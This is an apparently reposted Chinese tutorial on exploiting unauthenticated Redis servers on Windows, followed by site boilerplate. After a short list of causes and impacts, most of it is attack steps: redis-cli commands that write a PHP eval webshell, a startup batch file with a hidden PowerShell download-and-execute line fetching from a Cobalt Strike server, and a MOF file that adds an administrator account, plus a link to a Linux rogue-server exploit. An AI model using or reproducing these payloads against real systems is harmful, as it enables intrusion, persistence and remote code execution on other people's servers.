您好,登錄后才能下訂單哦!
小編給大家分享一下windows環境Redis未授權產生原因是什么,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!
Redis未授權產生原因
1.redis綁定在0.0.0.0:6379默認端口,直接暴露在公網,無防火墻進行來源信任防護。
2.沒有設置密碼認證,可以免密遠程登錄redis服務
漏洞危害
1.信息泄露,攻擊者可以惡意執行flushall清空數據
2.可以通過eval執行lua代碼,或通過數據備份功能往磁盤寫入后門文件
3.若以root身份運行,攻擊者可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器。
利用方式01-寫入webshell
1.獲取web絕對路徑,直接寫入webshell
redis-cli.exe -h redis-server] -p 6379
redis redis-server> CONFIG SET dir c:/phpstudy/www
OK
redis redis-server> CONFIG SET dbfilename shell.php
OK
redis redis-server> set x “<?php @eval($_POST['a']) ?>”
OK
redis redis-server> save
OK
直接訪問shell.php即可
利用方式02-啟動項寫入
windows下的開機啟動項的目錄為
C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/
寫入方式有很多,這里我們使用Cobalt Strike來進行演示
先啟動CS服務端 ,命令如下:
root@kali:~/cobaltstrike4.1# ./teamserver csip 123456
在啟動客戶端,輸入密碼和地址
添加一個Listener 監聽器
選擇Attacks – Web Drive-By – Script Web Delivery,選擇剛才添加的Listener
點擊Launch之后生成如下代碼
powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://cs地址:80/a'))\"
直接保存為1.bat即可
其中存在兩個小細節,一個是由于dbfile本身是有內容的,因此命令要正常運行必須先換行,經過測試需要兩個換行符rn才能正常運行,還有一個是由于本身執行命令中也有雙引號,因此需要加入轉義
redis-cli.exe -h 目標ip -p 6379 redis 目標ip:6379>config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/" OK redis 目標ip:6379> CONFIG SET dbfilename 1.bat OK redis 目標ip:6379>set x "/r/n/r/npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://csip:80/a'))\"/r/n/r/n 注意這里的雙引號要轉義,windwos路徑的start menu中間一個空格 OK redis 192.168.1.101:6379> save OK
查看服務器啟動項,發現正常寫入命令
重啟目標機器,成功上線
利用方式03-寫入mof
如果由于不能重啟機器也無法獲取web目錄,想到Mof提權,環境限制只能為win2003。
簡單描述一下mof提權的原理:
mof是windows系統的一個文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管對象格式”其作用是每隔五秒就會去監控進程創建和死亡。其實就是有了mysql的root權限了以后,然后使用root權限去執行我們上傳的mof。隔了一定時間以后這個mof就會被執行,這個mof當中有一段是vbs腳本,這個vbs大多數的是cmd的添加管理員用戶的命令。
也就是說在`c:/windows/system32/wbem/mof/`目錄下的mof文件會每5秒自動執行一次,這樣就不需要重啟機器就能獲取權限了。
首先將如下代碼保存為admin.txt文件:
#pragma namespace("\\.\root\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
此處要執行的命令為添加名為admin的用戶
然后執行
(echo -e "nn"; cat admin.txt; echo -e "nn") > foo.txt
切換到redis目錄,運行如下命令
過一會就看到用戶添加成功了。(本地測試一直未成功,寫入mof文件夾成功,但是執行一直到bad文件夾里)
補充一個linux下的利用方式:
在2019年7月7日結束的WCTF2019 Final上,LC/BC的成員Pavel Toporkov在分享會上介紹了一種關于redis新版本的RCE利用方式
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
利用腳本如下
https://github.com/LoRexxar/redis-rogue-server
實戰在生產環境下用還是會有很多問題的
redis數據量稍微大一點,寫shell到文件之后,php因為文件太大是會拒絕執行的
Ubuntu,Debian寫計劃任務反彈無用
寫/etc/passwd會覆蓋原有/etc/passwd,不可能改了再改回來
生產環境下用`KEY *` 這樣的命令直接炸
以上是“windows環境Redis未授權產生原因是什么”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。